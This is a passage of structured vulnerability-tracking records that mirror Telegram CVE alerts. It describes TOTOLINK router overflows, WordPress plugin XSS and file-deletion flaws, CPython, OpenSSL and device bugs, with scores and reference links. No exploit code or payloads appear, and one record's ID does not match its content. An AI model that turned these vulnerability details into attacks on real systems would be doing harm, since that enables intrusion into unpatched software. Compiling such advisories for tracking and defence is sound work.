Published: 2025-05-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T19:09:41.769Z\n\ud83d\udd17 References:\n1. https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/258/ids/36.html\n2. https://github.com/Jiangxiazhe/IOT_hack/blob/main/TOTOLINK/A3002R/5/overflow.md", "creation_timestamp": "2025-05-13T19:31:10.000000Z"}, {"uuid": "ea473742-eaca-46d0-802d-382e9059029a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45845", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16119", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45845\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid5g parameter in the setWiFiEasyGuestCfg function.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T14:24:54.180Z\n\ud83d\udd17 References:\n1. https://www.totolink.net\n2. https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html\n3. https://github.com/regainer27/CVE-key/tree/main/bo5", "creation_timestamp": "2025-05-13T14:30:39.000000Z"}, {"uuid": "e4a0adb8-978c-44df-8f98-37fad9ade48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45844", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16124", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45844\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK NR1800X V9.1.0u.6681_B20230703 was discovered to contain an authenticated stack overflow via the ssid parameter in the setWiFiBasicCfg function.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-13T14:13:51.793Z\n\ud83d\udd17 References:\n1. https://www.totolink.net\n2. https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html\n3. https://github.com/regainer27/CVE-key/tree/main/bo6", "creation_timestamp": "2025-05-13T14:30:44.000000Z"}, {"uuid": "1215e1a6-eaff-469d-8874-eff194e2ac41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4574", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16259", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4574\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)\n\ud83d\udd39 Description: In crossbeam-channel rust crate, the internal `Channel` type's `Drop` method has a race condition which could, in some circumstances, lead to a double-free that could result in memory corruption.\n\ud83d\udccf Published: 2025-05-13T21:47:24.951Z\n\ud83d\udccf Modified: 2025-05-13T21:47:24.951Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2025-4574\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2358890\n3. https://github.com/crossbeam-rs/crossbeam/pull/1187", "creation_timestamp": "2025-05-13T22:30:48.000000Z"}, {"uuid": "6ed5a13c-dd11-412c-8b34-bf30c5fd4088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45737", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19666", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45737\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver before v1.0.0.8 allows attackers to escalate privileges via sending crafted IOCTL commands to the NeacSafe64.sys component.\n\ud83d\udccf Published: 2025-06-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-27T04:03:12.346Z\n\ud83d\udd17 References:\n1. https://github.com/za233/NeacController", "creation_timestamp": "2025-06-27T04:51:45.000000Z"}, {"uuid": "19dfe7d4-2fea-49be-85d3-5617b1d52d60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4579", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16437", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4579\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The WP Content Security Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the blocked-uri and effective-directive  parameters in all versions up to, and including, 2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-05-15T01:59:23.874Z\n\ud83d\udccf Modified: 2025-05-15T01:59:23.874Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f3c4ba08-a9fa-439a-a887-b8c113f78e20?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-content-security-policy/tags/2.3/includes/WP_CSP.php#L597\n3. https://plugins.trac.wordpress.org/browser/wp-content-security-policy/tags/2.3/includes/WP_CSP.php#L612\n4. https://plugins.trac.wordpress.org/browser/wp-content-security-policy/tags/2.3/includes/WP_CSP.php#L659", "creation_timestamp": "2025-05-15T02:32:10.000000Z"}, {"uuid": "d17fe76a-0231-4618-909f-957efb81a241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4564", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4564\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The TicketBAI Facturas para WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation via the 'delpdf' action in all versions up to, and including, 3.18. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).\n\ud83d\udccf Published: 2025-05-15T11:13:15.235Z\n\ud83d\udccf Modified: 2025-05-15T11:13:15.235Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2927aa13-b012-41eb-93bd-38a4e5fc5455?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-ticketbai/trunk/wp-ticketbai.php#L240\n3. https://plugins.trac.wordpress.org/changeset/3292061/", "creation_timestamp": "2025-05-15T11:36:06.000000Z"}, {"uuid": "958c72e3-e40a-4113-8540-29cf2db96fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4516", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16518", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4516\n\ud83d\udd25 CVSS Score: 5.9 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: There is an issue in CPython when using `bytes.decode(\"unicode_escape\", error=\"ignore|replace\")`. If you are not using the \"unicode_escape\" encoding or an error handler your usage is not affected. To work-around this issue you may stop using the error= handler and instead wrap the bytes.decode() call in a try-except catching the DecodeError.\n\ud83d\udccf Published: 2025-05-15T13:29:20.126Z\n\ud83d\udccf Modified: 2025-05-15T14:18:50.599Z\n\ud83d\udd17 References:\n1. https://github.com/python/cpython/issues/133767\n2. https://github.com/python/cpython/pull/129648\n3. https://mail.python.org/archives/list/security-announce@python.org/thread/L75IPBBTSCYEF56I2M4KIW353BB3AY74/\n4. https://github.com/python/cpython/commit/69b4387f78f413e8c47572a85b3478c47eba8142\n5. https://github.com/python/cpython/commit/9f69a58623bd01349a18ba0c7a9cb1dad6a51e8e", "creation_timestamp": "2025-05-15T14:35:22.000000Z"}, {"uuid": "f72187a0-873e-4311-a918-a34c71dc6592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4587", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19678", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4587\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The A/B Testing for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ab-testing-for-wp/ab-test-block' block in all versions up to, and including, 1.18.2 due to insufficient input sanitization and output escaping on the 'id' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-06-27T07:22:21.998Z\n\ud83d\udccf Modified: 2025-06-27T07:22:21.998Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3dcf401a-3b91-4b55-b6b1-a132ec195607?source=cve\n2. https://wordpress.org/plugins/ab-testing-for-wp/", "creation_timestamp": "2025-06-27T07:52:09.000000Z"}, {"uuid": "0e99d343-5a8c-4948-b5b6-adf20cd7e50e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4589", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16510", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4589\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Bon Toolkit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bt-map' shortcode in all versions up to, and including, 1.3.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-05-15T03:21:38.214Z\n\ud83d\udccf Modified: 2025-05-15T14:25:58.600Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4cafec05-c275-475d-91cf-ed65cd191b0e?source=cve\n2. https://plugins.trac.wordpress.org/browser/bon-toolkit/trunk/includes/shortcodes.php#L71", "creation_timestamp": "2025-05-15T14:35:11.000000Z"}, {"uuid": "b6f9fe8a-e4b9-418f-9f6e-a390c556a1d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45880", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19402", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45880\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the data resource management function of Miliaris Amigdala v2.2.6 allows attackers to execute arbitrary HTML in the context of a user's browser via a crafted payload.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-24T20:07:48.101Z\n\ud83d\udd17 References:\n1. https://www.miliaris.it/\n2. https://xaliom.blogspot.com/2025/06/cve-2025-45878cve-2025-45879-and-cve.html\n3. https://packetstorm.news/files/cve/CVE-2025-45880", "creation_timestamp": "2025-06-24T20:47:56.000000Z"}, {"uuid": "b4dbfd47-86af-4f55-84d7-181a9f8ad92a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17265", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4575\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Issue summary: Use of -addreject option with the openssl x509 application adds\na trusted use instead of a rejected use for a certificate.\n\nImpact summary: If a user intends to make a trusted certificate rejected for\na particular use it will be instead marked as trusted for that use.\n\nA copy & paste error during minor refactoring of the code introduced this\nissue in the OpenSSL 3.5 version. If, for example, a trusted CA certificate\nshould be trusted only for the purpose of authenticating TLS servers but not\nfor CMS signature verification and the CMS signature verification is intended\nto be marked as rejected with the -addreject option, the resulting CA\ncertificate will be trusted for CMS signature verification purpose instead.\n\nOnly users which use the trusted certificate format who use the openssl x509\ncommand line application to add rejected uses are affected by this issue.\nThe issues affecting only the command line application are considered to\nbe Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this\nissue.\n\nOpenSSL 3.4, 3.3, 3.2, 3.1, 3.0, 1.1.1 and 1.0.2 are also not affected by this\nissue.\n\ud83d\udccf Published: 2025-05-22T13:36:49.694Z\n\ud83d\udccf Modified: 2025-05-22T13:36:49.694Z\n\ud83d\udd17 References:\n1. https://openssl-library.org/news/secadv/20250522.txt\n2. https://github.com/openssl/openssl/commit/e96d22446e633d117e6c9904cb15b4693e956eaa", "creation_timestamp": "2025-05-22T13:43:14.000000Z"}, {"uuid": "9a203f80-0eaa-4e5f-aa54-4d4f5e4aa214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45468", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17311", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45468\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insecure permissions in fc-stable-diffusion-plus v1.0.18 allows attackers to escalate privileges and compromise the customer cloud account.\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T16:04:47.150Z\n\ud83d\udd17 References:\n1. https://gist.github.com/zolaer9527/fda954ea6ab9a34b3d3de35e7131e3e1", "creation_timestamp": "2025-05-22T16:44:10.000000Z"}, {"uuid": "d30e6c83-cdb9-400d-8b2a-b61efaea6866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45753", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17275", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45753\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A vulnerability in Vtiger CRM Open Source Edition v8.3.0 allows an attacker with admin privileges to execute arbitrary PHP code by exploiting the ZIP import functionality in the Module Import feature.\n\ud83d\udccf Published: 2025-05-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T13:26:12.175Z\n\ud83d\udd17 References:\n1. https://www.simonjuguna.com/cve-2025-45753-authenticated-remote-code-execution-vulnerability-in-vtiger-open-source-edition-v8-3-0/", "creation_timestamp": "2025-05-22T13:45:43.000000Z"}, {"uuid": "c6f1ffb5-ea06-4eaf-b422-60546099dcb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45878", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19402", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45880\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the data resource management function of Miliaris Amigdala v2.2.6 allows attackers to execute arbitrary HTML in the context of a user's browser via a crafted payload.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-24T20:07:48.101Z\n\ud83d\udd17 References:\n1. https://www.miliaris.it/\n2. https://xaliom.blogspot.com/2025/06/cve-2025-45878cve-2025-45879-and-cve.html\n3. https://packetstorm.news/files/cve/CVE-2025-45880", "creation_timestamp": "2025-06-24T20:47:56.000000Z"}, {"uuid": "fb6bc6b8-3712-4d88-b0d6-82130026c94c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45754", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17163", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45754\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A stored cross-site scripting (XSS) vulnerability exists in SeedDMS 6.0.32. This vulnerability allows an attacker to inject malicious JavaScript payloads by creating a document with an XSS payload as the document name.\n\ud83d\udccf Published: 2025-05-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-21T17:05:30.902Z\n\ud83d\udd17 References:\n1. https://www.simonjuguna.com/cve-2025-45754-stored-cross-site-scripting-xss-vulnerability-in-seeddms-v6-0-32/", "creation_timestamp": "2025-05-21T17:43:18.000000Z"}, {"uuid": "4b3cf6e3-a332-4667-98bd-558ac40fb6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45755", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45755\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A Stored Cross-Site Scripting (XSS) vulnerability exists in Vtiger CRM Open Source Edition v8.3.0, exploitable via the Services Import feature. An attacker can craft a malicious CSV file containing an XSS payload, mapped to the Service Name field. When the file is uploaded, the application improperly sanitizes user input, leading to persistent script execution.\n\ud83d\udccf Published: 2025-05-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-21T19:37:54.373Z\n\ud83d\udd17 References:\n1. https://www.vtiger.com/open-source-crm/\n2. https://www.simonjuguna.com/cve-2025-45755-stored-cross-site-scripting-xss-vulnerability-in-vtiger-open-source-edition-v8-3-0/", "creation_timestamp": "2025-05-21T19:42:43.000000Z"}, {"uuid": "9d52d76e-551c-4e07-a667-c50e47323427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4594", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4594\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Tournamatch plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'trn-ladder-registration-button' shortcode in all versions up to, and including, 4.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-05-23T03:39:40.713Z\n\ud83d\udccf Modified: 2025-05-23T03:39:40.713Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fc912831-bbdd-4f8f-a620-47e41b1b731d?source=cve\n2. https://plugins.trac.wordpress.org/browser/tournamatch/tags/4.6.1/includes/shortcodes/class-shortcodes.php#L273\n3. https://plugins.trac.wordpress.org/changeset/3295681/tournamatch/trunk/includes/shortcodes/class-shortcodes.php", "creation_timestamp": "2025-05-23T04:49:48.000000Z"}, {"uuid": "7da1d9ed-b98c-4816-a0be-a8ab890718db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45851", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19789", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45851\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Hikvision DS-2CD1321-I V5.7.21 build 230819 allows attackers to cause a Denial of Service (DoS) via sending a crafted POST request to the endpoint /ISAPI/Security/challenge.\n\ud83d\udccf Published: 2025-06-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-27T19:56:49.527Z\n\ud83d\udd17 References:\n1. https://crashpark.weebly.com/blog/hikvision-ip-camera-unauthenticated-denial-of-service-dos", "creation_timestamp": "2025-06-27T20:52:35.000000Z"}, {"uuid": "2a4a1d6e-9380-46bf-91f1-3856fd4cbda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45143", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45143\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: string-math v1.2.2 was discovered to contain a Regex Denial of Service (ReDoS) which is exploited via a crafted input.\n\ud83d\udccf Published: 2025-06-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T16:59:14.029Z\n\ud83d\udd17 References:\n1. https://www.npmjs.com/package/string-math%2C\n2. https://github.com/devrafalko/string-math/blob/master/string-math.js\n3. https://gist.github.com/6en6ar/361608bccedb808061359481fe2f1b39", "creation_timestamp": "2025-06-30T17:07:26.000000Z"}, {"uuid": "f56c2fef-6e8d-485b-b159-32c78a6da197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45729", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19786", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45729\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: D-Link DIR-823-Pro 1.02 has improper permission control, allowing unauthorized users to turn on and access Telnet services.\n\ud83d\udccf Published: 2025-06-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-27T20:02:28.452Z\n\ud83d\udd17 References:\n1. https://www.kdev.site/2025/04/02/d-link-823_pro-unauthorized-telnet-access/", "creation_timestamp": "2025-06-27T20:52:32.000000Z"}, {"uuid": "7a4d663e-b41e-44fe-9892-a74009f4cba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45001", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17771", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45001\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: react-native-keys 0.7.11 is vulnerable to sensitive information disclosure (remote) as encryption cipher and Base64 chunks are stored as plaintext in the compiled native binary. Attackers can extract these secrets using basic static analysis tools.\n\ud83d\udccf Published: 2025-06-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-09T19:47:56.235Z\n\ud83d\udd17 References:\n1. https://gist.github.com/ch3tanbug/44aedff79dd5d2d6beadbffcd01e0de5\n2. https://github.com/ch3tanbug/vulnerability-research/tree/main/CVE-2025-45001", "creation_timestamp": "2025-06-09T20:31:29.000000Z"}, {"uuid": "db71085d-29a6-402b-98f9-115ffcf47ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45475", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17683", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45475\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: maccms10 v2025.1000.4047 is vulnerable to Server-Side request forgery (SSRF) in Friend Link Management.\n\ud83d\udccf Published: 2025-05-27T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-27T17:41:05.592Z\n\ud83d\udd17 References:\n1. https://www.yuque.com/morysummer/vx41bz/dzidfm8vn2h5k1lb", "creation_timestamp": "2025-05-27T17:48:50.000000Z"}, {"uuid": "cedf0b77-d048-4d31-9954-a44b50146878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45002", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17770", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45002\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Vigybag v1.0 and before is vulnerable to Cross Site Scripting (XSS) via the upload profile picture function under my profile.\n\ud83d\udccf Published: 2025-06-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-09T19:48:01.839Z\n\ud83d\udd17 References:\n1. https://github.com/ch3tanbug/vulnerability-research/tree/main/CVE-2025-45002", "creation_timestamp": "2025-06-09T20:31:25.000000Z"}, {"uuid": "e2134ec3-c16c-4604-a8e2-461a2635df41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45055", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17768", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45055\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Silverpeas 6.4.2 contains a stored cross-site scripting (XSS) vulnerability in the event management module. An authenticated user can upload a malicious SVG file as an event attachment, which, when viewed by an administrator, executes embedded JavaScript in the admin's session. This allows attackers to escalate privileges by creating a new administrator account. The vulnerability arises from insufficient sanitization of SVG files and weak CSRF protections.\n\ud83d\udccf Published: 2025-06-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-09T19:48:13.215Z\n\ud83d\udd17 References:\n1. https://github.com/Silverpeas/Silverpeas-Core/pull/1394\n2. https://medium.com/@mingihongkim/privilege-escalation-via-svg-injection-in-silverpeas-6-4-2-b5ab1d5b6955", "creation_timestamp": "2025-06-09T20:31:23.000000Z"}, {"uuid": "5dcbc80f-f6b2-428a-b236-bed17ac373b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4577", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17868", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4577\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Smash Balloon Social Post Feed \u2013 Simple Social Feeds for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the data-color attribute in all versions up to, and including, 4.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-06-10T11:22:52.591Z\n\ud83d\udccf Modified: 2025-06-10T11:22:52.591Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ec3de7e2-4a29-401f-af2c-0ce78d768eae?source=cve\n2. 